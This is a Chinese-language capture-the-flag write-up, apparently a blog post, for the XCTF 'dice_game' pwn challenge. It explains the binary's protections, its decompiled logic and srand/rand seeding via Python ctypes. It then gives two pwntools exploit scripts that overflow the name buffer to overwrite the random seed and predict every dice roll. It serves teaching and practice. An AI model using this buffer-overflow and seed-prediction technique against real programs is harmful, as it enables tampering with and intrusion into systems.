dice_game
XCTF 4th-QCTF-2018
前言,不得不說,雖然是個簡單題但是還是要記錄一下,來讓自己記住這些東西,
考察的知識點是:
1.cdll_loadlibrary加載對應庫使得Python可以使用c的函式,
2.關于srand函式中種子的介紹,
3.一些平時沒有見過的雜項
保證我寫的很詳細,因為我也是個菜雞
----第一步查看保護嘍

第一眼就很恐怖嗷,居然就只有canary沒有開,其他的全開,got表也不能修改,我就很痛苦嗷
----第二步ida看看

main函式這里要說的呢
1.這里設定了種子,并且應該注意地址在rbp-10h
2.這里v6是read函式的回傳值,回傳數值呢
3.注意看什么時候設定截止符’\x00’

函式名字以及備注是我看錯的地方,我以為這個函式是爆破點的,另外我就把這個函式里面其他的東西解釋解釋吧:
%hd是讀入短整型整數,與long int 相對
_assert_fail,assert是宏,這是設定一個出現錯誤時候應該輸出的,我一開始以為這個東西是值得爆破的地方呢,

負責輸出的函式,那么我這里記錄一下我的思路:
1.可以直接修改v8的數值到50,直接獲得flag
2.每次把v2直接暴露出來賦值給v1
3.負責破壞跳轉直接跳轉到暴露的地方,
那么這里三種方法其實都是不行的,與答案有點相關的是第二個方法,這里我主要介紹一下srand函式seed,以及rand函式吧,
seed是種子,負責偽亂數列,srand是設定種子的函式,rand函式呢是取偽亂數列,依次對于數列里面的數值去取,詳細的我就不說了,
那么這里我們只要獲得seed我們就可以知道每一次應該輸入的v1數值,
保證我們每次猜,每次對,
另外想要解釋的是:ctypes這個py庫
說實話這個庫我看檔案是完全沒有看懂的,這里看了別人寫的博客,我把博客地址黏貼到這里了(更好的博客園)
https://www.cnblogs.com/gaowengang/p/7919219.html
ctypes是負責在py里面使用c語言的函式,因為這里我們必然要在exp寫rand以及srand,所以就要加載相應的庫,
加載進去庫之后,要使用相應的函式還要使用對應的函式,Linux下就是:
cdll.LoadLibrary()
-
from ctypes import *
libc=cdll.LoadLibrary("libc.so.6")
這里要使用就這個樣子了.
所以我就先貼上exp了,
from pwn import *
from ctypes import *
p=process('./dice_game')
libc=cdll.LoadLibrary("libc.so.6")
payload= 'a'*0x40+p64(0)
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
a=[]
for i in range(50):
a.append(str(libc.rand()%6+1))
print a
for i in a:
p.recv()
p.sendline(i)
p.interactive()
這里exp寫了兩種
from pwn import *
from ctypes import *
p = process('./dice_game')
payload = 'a'*0x40 + p64(0)
libc = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
libc.srand(0)
for i in range(50):
a=str(libc.rand()%6+1)
p.recvuntil("Give me the point(1~6): ")
p.sendline(a)
p.interactive()
大家伙可以看看這里兩種有什么區別,(好吧估計也沒人看我寫的博客,也就自己看看吧)
我先介紹一下這里exp吧
都是覆寫到seed那里,然后隨便改一個數值修改seed,但是恰好是這里,讓我博客打了一半有了新的發現,
這里你如果覆寫成seed為0,1的話,其實他這里生成的陣列a是相同的元素,我記得srand默認引數是1,然而這里第一個exp的話是沒有后面再次更改srand()的值,直接使用了默認,因為這個人覆寫的這里也是0,但是我其實是不推薦這種做法的,
對于第二個exp,這里還是使用了libc.srand(0)因此比第一種更好點,
------------------麥林pwn手
如果覺得CSDN越來越拉,并且在CSDN寫博客是一件很拉的事情,麻煩點個贊再走,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/274858.html
標籤:其他
上一篇:zabbix 簡介和 zabbix-server、zabbix-agent安裝
下一篇:執行緒安全的list
